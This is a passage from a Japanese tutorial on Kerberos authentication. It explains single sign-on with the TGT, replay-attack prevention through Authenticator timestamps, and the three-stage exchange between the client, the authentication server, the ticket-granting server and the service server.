    朝PCにログイン（TGTを取得）してしまえば、社内のファイルサーバーやWEBサーバーにアクセスする際、ユーザーは二度とパスワードを入力する必要がない。
  3. リプレイ攻撃（盗聴・再利用）の防止
    Authenticatorに含まれるタイムスタンプ（通常5分以内の誤差のみ許容）があるため、途中で通信を盗聴されてパケットをそのまま再送信されても、サーバー側で拒否できる。

▼ケルベロス認証のフロー

Hjson
【第1段階：AS（認証サーバー）とのやり取り】
クライアント ──(ID送付)──> AS
クライアント <──(TGT + TGSセッション鍵)── AS
※ TGSセッション鍵は「ユーザーのパスワード由来の鍵」で暗号化されている。
※ クライアントはパスワードで解凍して「TGSセッション鍵」を取得。

【第2段階：TGS（チケット交付サーバー）とのやり取り】
クライアント ──(TGT + Authenticator A)──> TGS
※ Authenticator A は「TGSセッション鍵」で暗号化（タイムスタンプ入り）。
クライアント <──(ST + サービスセッション鍵)── TGS
※ サービスセッション鍵は「TGSセッション鍵」で暗号化されている。
※ クライアントは「TGSセッション鍵」で解凍して「サービスセッション鍵」を取得。

【第3段階：サービスサーバー（ECサーバー等）とのやり取り】
クライアント ──(ST + Authenticator B)──> サービスサーバー
※ Authenticator B は「サービスセッション鍵」で暗号化（タイムスタンプ入り）。
※ サービスサーバーはSTを自身の秘密鍵で復号し、「サービスセッション鍵」を取り出して Authenticator B を検証。



タイトルとURLをコピーしました